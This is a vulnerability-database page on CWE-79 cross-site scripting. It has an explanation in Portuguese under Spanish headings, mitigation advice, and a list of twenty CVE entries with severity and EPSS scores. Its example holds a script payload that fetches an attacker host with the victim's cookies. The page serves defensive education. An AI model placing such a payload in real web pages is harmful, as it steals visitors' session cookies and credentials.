Fallos del tipo CWE-79

29.864 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37165MEDIUMDiscourse has an XSS via Onebox systemEPSS 0.4%CVE-2025-46997MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-11463MEDIUMDeBounce Email Validator <= 5.6.5 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-47066MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-12100MEDIUMBitcoin Lightning Publisher for WordPress <= 1.4.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-47027MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-47063MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-47047MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-47033MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2023-29638MEDIUMCross Site Scripting (XSS) vulnerability in WinterChenS my-site before commit 3f0423da6d5200c7a46e200da145c1f54ee18548, allows attackers to EPSS 0.4%CVE-2025-47000MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-5705MEDIUMcode-projects Online Hotel Booking Booking Endpoint booknow.php cross site scriptingEPSS 0.4%CVE-2025-47004MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-13076MEDIUMPHPGurukul Land Record System edit-propertytype.php cross site scriptingEPSS 0.4%CVE-2022-46903MEDIUMInsufficient processing of user input in WebSoft HCM 2021.2.3.327 allows an authenticated attacker to inject arbitrary HTML tags into the paEPSS 0.4%CVE-2024-10046MEDIUMافزونه پیامک ووکامرس Persian WooCommerce SMS <= 7.0.5 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-47013MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-30538MEDIUMStored Cross-site Scripting via improper sanitization of svg files in DiscourseEPSS 0.4%CVE-2025-9796MEDIUMthinkgem JeeSite EncodeUtils.java decodeUrl2 cross site scriptingEPSS 0.4%CVE-2025-46976MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%